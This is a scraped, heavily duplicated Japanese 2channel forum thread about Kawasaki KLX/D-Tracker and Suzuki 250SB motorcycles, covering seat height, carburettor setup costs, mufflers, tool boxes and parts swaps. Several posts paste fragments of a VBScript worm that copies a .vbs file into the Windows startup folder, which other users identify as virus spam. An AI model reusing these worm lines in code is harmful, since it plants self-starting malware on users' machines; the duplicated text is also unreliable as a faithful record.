【Kawasaki】KLX D-Tracker 250SB 17th 【SUZUKI】
1 ：７７４ＲＲ：
【メーカーWebPage】
カワサキモータースジャパン (KLX&D-TRACKER)
http://www.kawasaki-motors.com/mc/index.html
SUZUKI MOTORCYCLES (250SB)
http://www1.suzuki.co.jp/motor/
【前スレ】
【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
↓テンプレです。参考にしましょう
カワサキモータースジャパン (KLX&D-TRACKER)
http://www.kawasaki-motors.com/mc/index.html
SUZUKI MOTORCYCLES (250SB)
http://www1.suzuki.co.jp/motor/
【前スレ】
【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
↓テンプレです。参考にしましょう
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2 ：７７４ＲＲ：05/02/07 19:09:52 ID:ROhHcbZ6
前スレ間違えた。_no
【前スレ】
【Kawasaki】KLX D-Tracker 250SB 16th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1104194140/
過去スレ一覧
－パート1－【kawasaki】D-TRACKER～
http://ton.2ch.net/bike/kako/1012/10124/1012471191.html
－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
http://choco.2ch.net/test/read.cgi/bike/1020789927/
－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
http://choco.2ch.net/test/read.cgi/bike/1029070973/
－パート4－【Kawasaki】D-TRACKER
http://hobby2.2ch.net/bike/kako/1035/10354/1035461753.html
－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
http://hobby3.2ch.net/test/read.cgi/bike/1045584814/
－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
【前スレ】
【Kawasaki】KLX D-Tracker 250SB 16th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1104194140/
過去スレ一覧
－パート1－【kawasaki】D-TRACKER～
http://ton.2ch.net/bike/kako/1012/10124/1012471191.html
－パート2－【kawasaki】D-TRACKER&KLX専用スレ part2
http://choco.2ch.net/test/read.cgi/bike/1020789927/
－パート3－【Kawasaki】D-TRACKER&KLX専用スレ part3
http://choco.2ch.net/test/read.cgi/bike/1029070973/
－パート4－【Kawasaki】D-TRACKER
http://hobby2.2ch.net/bike/kako/1035/10354/1035461753.html
－パート5－【kawasaki】D-TRACKERKLXSB250スレ part5
http://hobby3.2ch.net/test/read.cgi/bike/1045584814/
－パート6－【kawasaki】D-TRACKERKLXSB250スレ part6
http://hobby4.2ch.net/test/read.cgi/bike/1053515431/
－パート7－【kawasaki】D-TRACKERKLXSB250スレ part7
http://hobby4.2ch.net/test/read.cgi/bike/1061815345/
－パート8－【kawasaki】D-TRACKERKLX250SBスレ part8
http://hobby4.2ch.net/test/read.cgi/bike/1068280211/
－パート9－【Kawasaki】D-TRACKER,KLX,250SBスレ part9
http://hobby4.2ch.net/test/read.cgi/bike/1075179836/
－パート10－【Kawasaki】D-TRACKER,KLX,250SBスレ part10
http://hobby6.2ch.net/test/read.cgi/bike/1080654639/
過去スレ一覧 (続き)
－パート11－【Kawasaki】D-TRACKER,KLX,250SB part11【SUZUKI】
http://hobby6.2ch.net/test/read.cgi/bike/1086015291/
－パート12－【ｵﾌﾛｰﾄﾞ】D-TRACKER,KLX,250SB part12【ﾓﾀｰﾄﾞ】
http://hobby7.2ch.net/test/read.cgi/bike/1089816876/l50
－パート13－【Kawasaki】KLX D-Tracker 250SB 13th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1093883205/l50
－パート14－【Kawasaki】KLX D-Tracker 250SB 14th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1097217697/l50
－パート15－【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
－パート11－【Kawasaki】D-TRACKER,KLX,250SB part11【SUZUKI】
http://hobby6.2ch.net/test/read.cgi/bike/1086015291/
－パート12－【ｵﾌﾛｰﾄﾞ】D-TRACKER,KLX,250SB part12【ﾓﾀｰﾄﾞ】
http://hobby7.2ch.net/test/read.cgi/bike/1089816876/l50
－パート13－【Kawasaki】KLX D-Tracker 250SB 13th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1093883205/l50
－パート14－【Kawasaki】KLX D-Tracker 250SB 14th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1097217697/l50
－パート15－【Kawasaki】KLX D-Tracker 250SB 15th 【SUZUKI】
http://hobby7.2ch.net/test/read.cgi/bike/1100613857/
～よくある質問～
Q:足つきが心配です( ; ﾟДﾟ)
A:一般的成人男性なら、160cm以上あれば大丈夫。最初は慣れが必要かも？
女性でも150cmくらいの方が乗っている情報もあります。
Dトラの方がタイヤ径が小さいので、足つき良好。
アフターパーツとしては、ローダウンキットなども多数販売されています、
ただしサスの動きが悪くなるらしい。
Q:乗り出しいくら位ですか？
A:新車ｺﾐｺﾐで50万前後？中古はhttp://www.goobike.com/をチェック汁
Q:最高速は？
A:たぶん140kmくらい。でも、最高速を気にするバイクじゃない罠
Q:社外マフラーはどれが良いですか？
A:過去ログ嫁・・・と言いたいところですが、性能はBEETのモタード管が評判良いみたいです。
Q:規制前マフラーは現行モデルに使える？
A:エキパイとのジョイント部の径が違う。それ用のカラーも有るらしいけどエキパイ共々交換が吉。
Q:足つきが心配です( ; ﾟДﾟ)
A:一般的成人男性なら、160cm以上あれば大丈夫。最初は慣れが必要かも？
女性でも150cmくらいの方が乗っている情報もあります。
Dトラの方がタイヤ径が小さいので、足つき良好。
アフターパーツとしては、ローダウンキットなども多数販売されています、
ただしサスの動きが悪くなるらしい。
Q:乗り出しいくら位ですか？
A:新車ｺﾐｺﾐで50万前後？中古はhttp://www.goobike.com/をチェック汁
Q:最高速は？
A:たぶん140kmくらい。でも、最高速を気にするバイクじゃない罠
Q:社外マフラーはどれが良いですか？
A:過去ログ嫁・・・と言いたいところですが、性能はBEETのモタード管が評判良いみたいです。
Q:規制前マフラーは現行モデルに使える？
A:エキパイとのジョイント部の径が違う。それ用のカラーも有るらしいけどエキパイ共々交換が吉。
～続・よくある質問～
Q7:キャブセッティングを教えて！！
A7:年式・個体差・改造度合毎に正解は様々です。詳しい状況を書けばそれなりのレスがくる、鴨。
Q8:モタード走行、ドリフトできますか？（Dトラ、SB）
A8:十分出来ます！ただし本格的にサーキット走るなら、サスのセッティングした方が良さげ
Q9:ふ、太いリヤタイヤをい、入れたいのでつが.....(;´Д｀)（Dトラ、SB）
A9:ﾓ､ﾓﾁﾂｹ･･･
140/70-17を履かせてる人は居ます。が、チェーンとのクリアランスがギリギリらしい
ていうか、当たってる鴨・・・
Q10:KLX無印、ES、SR、R何が違うの？
A10:無地：倒立フォーク セル始動（現行）
ES：正立フォーク セル始動
SR：倒立フォーク キック始動バッテリーレス
R：EDレーサー 倒立フォーク キック始動バッテリーレス ハイシート
その他スペックなどの違いは、ここをチェック汁
http://www.geocities.co.jp/MotorCity-Pit/2395/databook.html
Q11:KLXにDトラ、SBの外装はポン付けできますか？またその逆は？
A11:基本的にどれでもポン付け。
ただしKLX250SRの左サイドカバーはバッテリーレスゆえにスリムです。
バッテリー有りの車種にはつきません。タンクは年式によってタンクのフタの形状が違うかも？
それとＤトラ新外装の互換性についてはこのスレで明らかになります・・・多分
Q12:お知りがが痛くなるのですが
A12:オフ車（系）の宿命と思って我慢汁｡
多少の足つき悪化が苦にならなければ300R用純正やcozyシート入れるのも手。
ただし、cozyシートは LOWシートもあるのでこれに交換すると純正シートとほぼ同じ高さに
なるようだ。
Q7:キャブセッティングを教えて！！
A7:年式・個体差・改造度合毎に正解は様々です。詳しい状況を書けばそれなりのレスがくる、鴨。
Q8:モタード走行、ドリフトできますか？（Dトラ、SB）
A8:十分出来ます！ただし本格的にサーキット走るなら、サスのセッティングした方が良さげ
Q9:ふ、太いリヤタイヤをい、入れたいのでつが.....(;´Д｀)（Dトラ、SB）
A9:ﾓ､ﾓﾁﾂｹ･･･
140/70-17を履かせてる人は居ます。が、チェーンとのクリアランスがギリギリらしい
ていうか、当たってる鴨・・・
Q10:KLX無印、ES、SR、R何が違うの？
A10:無地：倒立フォーク セル始動（現行）
ES：正立フォーク セル始動
SR：倒立フォーク キック始動バッテリーレス
R：EDレーサー 倒立フォーク キック始動バッテリーレス ハイシート
その他スペックなどの違いは、ここをチェック汁
http://www.geocities.co.jp/MotorCity-Pit/2395/databook.html
Q11:KLXにDトラ、SBの外装はポン付けできますか？またその逆は？
A11:基本的にどれでもポン付け。
ただしKLX250SRの左サイドカバーはバッテリーレスゆえにスリムです。
バッテリー有りの車種にはつきません。タンクは年式によってタンクのフタの形状が違うかも？
それとＤトラ新外装の互換性についてはこのスレで明らかになります・・・多分
Q12:お知りがが痛くなるのですが
A12:オフ車（系）の宿命と思って我慢汁｡
多少の足つき悪化が苦にならなければ300R用純正やcozyシート入れるのも手。
ただし、cozyシートは LOWシートもあるのでこれに交換すると純正シートとほぼ同じ高さに
なるようだ。
～帰って来た・質問～
Q13:Fスプロケットが取れません！＠規制後車
A13:Fスプロケットは27のナットで閉まっているだけですが仕様(w)で鬼のように固く閉まっています。
インパクトレンチor27コマ＋ウルトラエクステンション＋ブレーキ鬼ふみ＋ギヤ1速＋車体をバックさせたつつ\
固定で
二人掛りでようやく緩むようです（体験談）
緩める方向は正ネジです。
Q14:ポジションはドウデスカ？
Aさん『軽いから片足でおっとっとになっても、全然恐くないね。
むしろ走行時の視界の高さがとても良い。ポジションも鬼のように楽。
レプ乗りの意見です。 』
B氏 『鬼のポジションはそんなに楽なのか？ 』
JNM氏『ヤツら、いいパンツ履いてるからな。』
Q:足つきが心配です( ; ﾟДﾟ)→追加情報
A:まずは股下を計ってこい。話はそれからだ。
股下８６ｃｍ・・・両足踵まで
股下８２ｃｍ・・・両足指の付け根まで
股下７８ｃｍ・・・両足不可、片足指の付け根まで
股下７４ｃｍ・・・ケツづらし片足爪先（ローダウン加工推奨）
D虎は－３ｃｍで考えてよし、体重は６０キロ標準で±５キロごとに１ｃｍ増減
足つきを心配するなら身長で話しをするもんじゃないよ。
Q13:Fスプロケットが取れません！＠規制後車
A13:Fスプロケットは27のナットで閉まっているだけですが仕様(w)で鬼のように固く閉まっています。
インパクトレンチor27コマ＋ウルトラエクステンション＋ブレーキ鬼ふみ＋ギヤ1速＋車体をバックさせたつつ\
固定で
二人掛りでようやく緩むようです（体験談）
緩める方向は正ネジです。
Q14:ポジションはドウデスカ？
Aさん『軽いから片足でおっとっとになっても、全然恐くないね。
むしろ走行時の視界の高さがとても良い。ポジションも鬼のように楽。
レプ乗りの意見です。 』
B氏 『鬼のポジションはそんなに楽なのか？ 』
JNM氏『ヤツら、いいパンツ履いてるからな。』
Q:足つきが心配です( ; ﾟДﾟ)→追加情報
A:まずは股下を計ってこい。話はそれからだ。
股下８６ｃｍ・・・両足踵まで
股下８２ｃｍ・・・両足指の付け根まで
股下７８ｃｍ・・・両足不可、片足指の付け根まで
股下７４ｃｍ・・・ケツづらし片足爪先（ローダウン加工推奨）
D虎は－３ｃｍで考えてよし、体重は６０キロ標準で±５キロごとに１ｃｍ増減
足つきを心配するなら身長で話しをするもんじゃないよ。
7 ：７７４ＲＲ：05/02/07 19:18:02 ID:t1SMwdna
>>1
モツ
モツ
前スレに続いて今回もスレ建て完了。
連投規制有るからマジ疲れる。_no
テンプレ探すのﾏﾝﾄﾞｸｾからテンプレサイト作るか。
連投規制有るからマジ疲れる。_no
テンプレ探すのﾏﾝﾄﾞｸｾからテンプレサイト作るか。
>>8
激しく乙。
激しく乙。
Fフェンダーを変えようと思って、買ってきたんですよ。
なのに、
フェンダーのボルトが固くてゆるまない・・・。
やっぱ、車載工具程度じゃダメなんでしょうか・・・。
なのに、
フェンダーのボルトが固くてゆるまない・・・。
やっぱ、車載工具程度じゃダメなんでしょうか・・・。
色々なサイトでエアクリの豚鼻を250Rに交換と書いてあるんですが、あれは
KLX250Rのことなのでしょうか？それともKX250R？
教えてくだされ～エロイ人。
KLX250Rのことなのでしょうか？それともKX250R？
教えてくだされ～エロイ人。
>>モツカレ
13 ：７７４ＲＲ：05/02/07 21:30:15 ID:NkfhTDEt
15 ：７７４ＲＲ：05/02/07 21:57:06 ID:kL1du4SS
オススメのハンドルってありますか？
幅が広いとすり抜け度が落ちるので、ノーマルの幅くらいで
左ミラーが斜めのトコにつかないやつ。
ぶっちゃけ、ブッシュガードつけたいだけなんだけどね。
幅が広いとすり抜け度が落ちるので、ノーマルの幅くらいで
左ミラーが斜めのトコにつかないやつ。
ぶっちゃけ、ブッシュガードつけたいだけなんだけどね。
16 ：７７４ＲＲ：05/02/07 21:59:36 ID:NkfhTDEt
好きなハンドル選んで両端をカット。
糸ノコで切れ。
糸ノコで切れ。
18 ：７７４ＲＲ：05/02/07 22:15:05 ID:6vpN/9Il
19 ：７７４ＲＲ：05/02/07 23:22:25 ID:Ck6F/1MY
たびたびで本当にもうしわけないんだけど、ギブリライト裏側のの左下の穴って何用？
20 ：７７４ＲＲ：05/02/07 23:24:50 ID:mWLsvgoS
御菜用
21 ：７７４ＲＲ：05/02/08 00:03:01 ID:Qu4T1x4J
穴っていうかポジションランプの事？
配線してる人は少ないと思うが、スイッチつけて繋げば
バッテリーの節電になるかも。55/60Wは昼はもったいない。
配線してる人は少ないと思うが、スイッチつけて繋げば
バッテリーの節電になるかも。55/60Wは昼はもったいない。
>>17
ラチェット、しっかりしたの持ってましたｗ
いやー、買っても使わなかったので、すっかり忘れてました。
ははは。
ラチェット使用して一発ではずし、
穴の位置を測って合わせて、新しい方へ電動ドリルで穴を開け、
ラチェットでしっかり締めて、
初めての改造は無事完了いたしました。
アチェルビスのフロントフェンダー、SET完了です！
かっちょええ♪
お騒がせしました＆ありがとうございました。
ラチェット、しっかりしたの持ってましたｗ
いやー、買っても使わなかったので、すっかり忘れてました。
ははは。
ラチェット使用して一発ではずし、
穴の位置を測って合わせて、新しい方へ電動ドリルで穴を開け、
ラチェットでしっかり締めて、
初めての改造は無事完了いたしました。
アチェルビスのフロントフェンダー、SET完了です！
かっちょええ♪
お騒がせしました＆ありがとうございました。
┐┌←みたいな部品はちゃんと取って付けたんだろうか・・・
いらぬ 心配すまんかった
お疲れしたっ！
お疲れしたっ！
俺も要らぬおせっかいでスマンカッタ。
漏れは関係ないが、住まん買った
30 ：７７４ＲＲ：05/02/08 02:18:43 ID:RtkN2mbM
年式遅れを新車で買ってしまった・・・・まさかと思ってたのにｳﾜｧｧｧｧｧｧヽ(`Д´)ﾉｧｧｧｧｧｧﾝ!
エンジンだめじゃんか！
エンジンだめじゃんか！
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
おおっ、ノートン先生が反応したぞ。
33 ：７７４ＲＲ：05/02/08 06:44:49 ID:oKSxKyGd
ヘッドライト暗いからソーラムのＨＩＤつけた。サンドコースでコケテ逝った。
もうフォグライトをつけようと思うのでいいのがったらおせーてくだせえ
もうフォグライトをつけようと思うのでいいのがったらおせーてくだせえ
>>30
どう駄目だったの？
どう駄目だったの？
>>31
VB使ったウイルスコード。透明あぼーん推奨。削除要請。
VB使ったウイルスコード。透明あぼーん推奨。削除要請。
36 ：７７４ＲＲ：05/02/08 14:14:22 ID:9u1EKPTv
37 ：７７４ＲＲ：05/02/08 14:49:00 ID:3I6Rw7SD
画場万最悪
38 ：７７４ＲＲ：05/02/08 18:30:18 ID:eRlurKuM
ウィルス仕込んだの＞31か？ セキュリティーソフト入れてないヤシ用注意だぞ！
39 ：７７４ＲＲ：05/02/08 18:39:29 ID:zlazuo5h
>>38
ﾜﾛｽｗ
ﾜﾛｽｗ
40 ：７７４ＲＲ：05/02/08 19:27:12 ID:Is8STegu
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
VBってﾉｰﾄﾝ先生で言うところの除外とかってできないの？
しつこいな。
Macなのでなんのことやらさっぱり。
マカフィーなのではんおう（←何故か変換できない）しません
Dトラッカー用のNSR250ホイールkitがあると聞いて調べてるのですが。
HPとか解る人いませんか？
HPとか解る人いませんか？
46 ：７７４ＲＲ：05/02/08 22:41:09 ID:opdEIGs7
＞45
Kﾌｧｸﾄﾘｰというｼｮｯﾌﾟだったと思う。
Kﾌｧｸﾄﾘｰというｼｮｯﾌﾟだったと思う。
47 ：７７４ＲＲ：05/02/08 23:30:32 ID:3I6Rw7SD
>>45k＆t だろ
49 ：46：05/02/08 23:51:53 ID:DVzRtk9T
>47
そうだった！ご指摘サンクス
そうだった！ご指摘サンクス
50 ：46：05/02/08 23:55:25 ID:DVzRtk9T
>45
何度もスマソ、K&Tレーシングでした。
何度もスマソ、K&Tレーシングでした。
51 ：７７４ＲＲ：05/02/09 00:35:45 ID:3YsxPaBx
ＦＣＲ33敗入れようかと思っています。で、最寄のバイクやに見積もりだしたところ、
セッティング込みで8万位といわれたんですが、実際どの程度が相場なんでしょうか？？
全部込みで8は高いのでしょうか？？
セッティング込みで8万位といわれたんですが、実際どの程度が相場なんでしょうか？？
全部込みで8は高いのでしょうか？？
52 ：７７４ＲＲ：05/02/09 02:08:29 ID:eRo5ZwmJ
>>51 ｷｬﾌﾞはいくらなの？
53 ：７７４ＲＲ：05/02/09 02:26:05 ID:TpbUhbnP
その値段だと大したｾｯﾃｨﾝｸﾞは望めないな
54 ：７７４ＲＲ：05/02/09 02:44:20 ID:+GdiI0Hs
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
55 ：51：05/02/09 03:32:16 ID:3YsxPaBx
>>52
ＪＢのＦＣＲで５３０００ですね。
まあほぼ定価なんですかね。
>>53
それはどういうことでしょうか？
セッティングは大体で、気候とかで完全なセッティングにはならないから、
その辺は了解してくれ！みたいな当たり前なコメントであって、
言い訳にも、とれることを言われたんですけどね。
ＪＢのＦＣＲで５３０００ですね。
まあほぼ定価なんですかね。
>>53
それはどういうことでしょうか？
セッティングは大体で、気候とかで完全なセッティングにはならないから、
その辺は了解してくれ！みたいな当たり前なコメントであって、
言い訳にも、とれることを言われたんですけどね。
56 ：７７４ＲＲ：05/02/09 03:47:09 ID:TpbUhbnP
それは店が｢ﾎﾟﾝ付け程度のｾｯﾃｨﾝｸﾞです｣って言ってるようなもの｡
12ﾏｿぐらい出せば通年OKなｾｯﾃｨﾝｸﾞをきっちり出してくれる所あるよ｡
12ﾏｿぐらい出せば通年OKなｾｯﾃｨﾝｸﾞをきっちり出してくれる所あるよ｡
58 ：７７４ＲＲ：05/02/09 04:22:43 ID:TpbUhbnP
ついでにここも
http://www.blr-jp.com/
http://www.blr-jp.com/
59 ：７７４ＲＲ：05/02/09 09:55:26 ID:eRo5ZwmJ
ｾｯﾃｨﾝｸﾞに7ﾏｿもかからねーよ。ﾃﾞｰﾀ持ってるならそんなもん。ただ、年間通してのｾｯﾃｨﾝｸﾞをするはず。出来ない所ははっきり言ってたいしたこと出来ないからぽん酢け程度だからやめたほうがいい
>>51
どんなところにセッティングを頼むにしろ、
経験値があるショップでも１０万かそこら金積んだ程度じゃ、
「通年バッチリ」なんてあり得ねぇし、
乗り出してからも何度か再調整しないと「通年バッチリ」すら
出ないと思われ。
でも、>>51はそこそこパワーが上がって、
通年、特にFCRを意識しないで乗れれば良いんだと思うんだが、
その前提なら、
FCR買うときにセッティングデータもってる代理店に、
仕様を伝えて頼めば、それっぽいセッティングの物を送ってくるんで、
大抵ポン付けで充分走る。
そのセッティングで不満なら、そのセッティングを叩き台に詰めていけば宜しい。
どっちにしろFCRは年イチ程度のOHがお勧めなので、
この際、ショップ工賃を浮かせて、
代わりに工具を買って自分でやってはどうでしょう？
どんなところにセッティングを頼むにしろ、
経験値があるショップでも１０万かそこら金積んだ程度じゃ、
「通年バッチリ」なんてあり得ねぇし、
乗り出してからも何度か再調整しないと「通年バッチリ」すら
出ないと思われ。
でも、>>51はそこそこパワーが上がって、
通年、特にFCRを意識しないで乗れれば良いんだと思うんだが、
その前提なら、
FCR買うときにセッティングデータもってる代理店に、
仕様を伝えて頼めば、それっぽいセッティングの物を送ってくるんで、
大抵ポン付けで充分走る。
そのセッティングで不満なら、そのセッティングを叩き台に詰めていけば宜しい。
どっちにしろFCRは年イチ程度のOHがお勧めなので、
この際、ショップ工賃を浮かせて、
代わりに工具を買って自分でやってはどうでしょう？
つか、ｳｲﾙｽｶｷｺでﾛｸﾞ消されてしまうので
読み、開きｽﾞﾗｲったらありゃしません。ｱﾝｶｰ意味不明になるし・・・
ﾌﾞﾗｳｻﾞで開くしなかいのかな。
ところでこのｳｲﾙｽってどんな悪さするんですか？
読み、開きｽﾞﾗｲったらありゃしません。ｱﾝｶｰ意味不明になるし・・・
ﾌﾞﾗｳｻﾞで開くしなかいのかな。
ところでこのｳｲﾙｽってどんな悪さするんですか？
ﾉｰﾄﾝ先生が過剰反応してるだけで別にPCに害を与えるわけではない。
あえて言うならそのログが消えるってことくらいだな。
あえて言うならそのログが消えるってことくらいだな。
63 ：７７４ＲＲ：05/02/09 14:42:42 ID:XnycDEji
ウイルスコピペにいちいち反応するなうざい
64 ：７７４ＲＲ：05/02/09 14:47:35 ID:eRo5ZwmJ
>>60当たり前だろ。ﾄﾞﾝﾋﾟｼｬのｾｯﾃｨﾝｸﾞ出したいなら毎日ｾｯﾃｨﾝｸﾞしなきゃ行けないだろ！俺が言ってるのは、年間通してある程度普通に乗れるｾｯﾃｨﾝｸﾞだよ。ｷｬﾌﾞ変えてよかった～て思う程度のね。ま、調整はしなきゃいけないけどね。年に１回か２回は。
65 ：７７４ＲＲ：05/02/09 14:51:17 ID:eRo5ZwmJ
ただ、ｾｯﾃｨﾝｸﾞでｷｬﾌﾞがもう一つ買えるくらいのｾｯﾃｨﾝｸﾞ料金取るところは確実にﾎﾞｯﾀｸﾘだしお客を馬鹿にしてる。
66 ：７７４ＲＲ：05/02/09 14:54:45 ID:eRo5ZwmJ
なぜ1回か2回と言うと、季節によって湿度とか気温が違う。だからｾｯﾃｨﾝｸﾞするわけ。
67 ：７７４ＲＲ：05/02/09 15:10:09 ID:vjNL12F0
テールバック外している人をよく見かけるけど
工具とか書類とかどうしてるの？
アレあまりカコよくないから外したいと
思っているのだが‥
シェルパみたいにフェンダー内側に
プラスチックのケースをつけてくれれば
よかったのに。
それとも社外品であれに相当するものがあるの？
工具とか書類とかどうしてるの？
アレあまりカコよくないから外したいと
思っているのだが‥
シェルパみたいにフェンダー内側に
プラスチックのケースをつけてくれれば
よかったのに。
それとも社外品であれに相当するものがあるの？
68 ：51：05/02/09 15:23:59 ID:x03JPpzw
レスありがとうございます。
色々参考になります。
自分の考えでは、吸気、排気をいじってまして（250Rダクト、NASSARTフルエキ）
それのセッティングを自分ではじめからやるのは大変だし、
リスクがでかいなと思って、最初だけ店にお願いして、
季節ごとのセッティングは、自分でやろうかなって思ったんですけど
ポン付けだと性能やら、ほかの面において十分に発揮できてはいないのでしょうか？
あと通年いけるセッティングてのは、ありえるのかと思ったのですが、どうなんでしょう？？
色々参考になります。
自分の考えでは、吸気、排気をいじってまして（250Rダクト、NASSARTフルエキ）
それのセッティングを自分ではじめからやるのは大変だし、
リスクがでかいなと思って、最初だけ店にお願いして、
季節ごとのセッティングは、自分でやろうかなって思ったんですけど
ポン付けだと性能やら、ほかの面において十分に発揮できてはいないのでしょうか？
あと通年いけるセッティングてのは、ありえるのかと思ったのですが、どうなんでしょう？？
>あと通年いけるセッティングてのは、ありえるのかと思ったのですが、どうなんでしょう？？
冬のセッティングと夏のセッティングの中間にしておいて
ばっちりセッティングは出てないけど、問題なく走る程度で我慢しろってこった。
冬のセッティングと夏のセッティングの中間にしておいて
ばっちりセッティングは出てないけど、問題なく走る程度で我慢しろってこった。
70 ：７７４ＲＲ：05/02/09 15:47:03 ID:TpbUhbnP
51 ﾉｰﾏﾙのｴｱｸﾘBOXを生かせばある程度通年大丈夫｡ｷｯﾁﾘ出したいなら年二回くらい軽く調整してやればﾖｼ｡
67 俺はｾﾛｰの工具入れをｽﾃｰかましてﾊﾞｯﾃﾘｰの横の位置に取り付けている｡
中を覗かないと見えないし､容量もあるからかなり便利
67 俺はｾﾛｰの工具入れをｽﾃｰかましてﾊﾞｯﾃﾘｰの横の位置に取り付けている｡
中を覗かないと見えないし､容量もあるからかなり便利
71 ：７７４ＲＲ：05/02/09 16:27:22 ID:MNJp/rH5
>>70,72
お前らまとめて氏ね
お前らまとめて氏ね
74 ：７７４ＲＲ：05/02/09 16:49:53 ID:TpbUhbnP
>71 失礼致しやした
≫72だけ氏ね
喪前逝ってよす
＞喪前モナー
こうやってやれ
2ちゃんスラングも知らんのか
プギャー
＞喪前モナー
こうやってやれ
2ちゃんスラングも知らんのか
プギャー
おりも工具入れをフェンダー裏に入れようと画策中
中々よさ気な工具入れがなかったので、バイク屋行ってセローの工具入れ見てくるヨ
使い勝手はどんな感じですか？
雨の日とか林道走った後とか、今まで走って工具落としたとかの
ｲﾝﾌﾟﾚあればよろしくお願いしまつ
中々よさ気な工具入れがなかったので、バイク屋行ってセローの工具入れ見てくるヨ
使い勝手はどんな感じですか？
雨の日とか林道走った後とか、今まで走って工具落としたとかの
ｲﾝﾌﾟﾚあればよろしくお願いしまつ
79 ：７７４ＲＲ：05/02/09 20:25:21 ID:5iCFXWbZ
>>76
あの～ スンマソ。 ２ちゃんスラング？ って何でしょうか？（ポリポリ。
あの～ スンマソ。 ２ちゃんスラング？ って何でしょうか？（ポリポリ。
FCRなんて面倒なね。街乗りオンリーだし。
メンテ頻度が高いし。
CVKで十分さ。
レースやる人なんかは違うんだろうね。
メンテ頻度が高いし。
CVKで十分さ。
レースやる人なんかは違うんだろうね。
手がかかるのが趣味な人もいるのさ
山本マサユキとか
山本マサユキとか
ＣＶＫでも調整できるんでしょ。ニードルは250Ｒが流用できたような。
83 ：７７４ＲＲ：05/02/09 21:47:42 ID:TpbUhbnP
>77 取り付けてから一年経つけど､振動でｽﾃｰが折れた事も蓋が開いて工具を落とした事もないよ｡
ｼﾞｬﾝﾌﾟしてﾌﾙﾎﾞﾄﾑしなければ先ず問題無し！
ｼﾞｬﾝﾌﾟしてﾌﾙﾎﾞﾄﾑしなければ先ず問題無し！
84 ：７７４ＲＲ：05/02/09 21:49:34 ID:eRo5ZwmJ
>>80ﾉｰﾏﾙの非力さに満足してﾀﾗﾀﾗ亀みたいにのるならそれでいいんじゃないの？漏れは嫌だけど
85 ：７７４ＲＲ：05/02/09 21:50:48 ID:TpbUhbnP
>77 付け足し
使い勝手はかなり良い｡工具だけだとｶﾞﾁｬｶﾞﾁｬ音がするので､ｳｪｽを入れて中で遊ばないようにした方が吉
使い勝手はかなり良い｡工具だけだとｶﾞﾁｬｶﾞﾁｬ音がするので､ｳｪｽを入れて中で遊ばないようにした方が吉
86 ：７７４ＲＲ：05/02/09 21:53:10 ID:lrUePG9G
オレはTMR派。小さいしチョークあるし良いよ。まあ多分
乗ってもFCRとの違いはわからんだろうけどな。
乗ってもFCRとの違いはわからんだろうけどな。
87 ：７７４ＲＲ：05/02/09 21:58:40 ID:5iCFXWbZ
88 ：７７４ＲＲ：05/02/09 22:46:21 ID:nLi8JxH9
どっかでＤトラのフロントサスでＴＺＲだかのスプリング
使ったサスチューン見たんだけど誰か知ってる？
使ったサスチューン見たんだけど誰か知ってる？
工具入れのｲﾝﾌﾟﾚ、ﾄﾝｸｽ
ツーリング行くとき工具をリュックに入れてたので重かったのですよ
これで問題解決です(｀・ω・´)シゃキーン
ツーリング行くとき工具をリュックに入れてたので重かったのですよ
これで問題解決です(｀・ω・´)シゃキーン
D虎の偉い人に質問です。
林道に遊びに行くのにD虎にKLXのホイール＆タイヤを付けたいと思ってます。
・ドライブスプロケットも変えなきゃダメですか？
・チェーンのコマ数も違うのでやっぱり変えなきゃダメですか？
・Fサスの突き出しを変えたり前後サスの設定を変えたりしなきゃダメですか？
誰か付け替えた人が居たらおながいします。
メーターは…これはまぁ諦めるしかないか。
林道に遊びに行くのにD虎にKLXのホイール＆タイヤを付けたいと思ってます。
・ドライブスプロケットも変えなきゃダメですか？
・チェーンのコマ数も違うのでやっぱり変えなきゃダメですか？
・Fサスの突き出しを変えたり前後サスの設定を変えたりしなきゃダメですか？
誰か付け替えた人が居たらおながいします。
メーターは…これはまぁ諦めるしかないか。
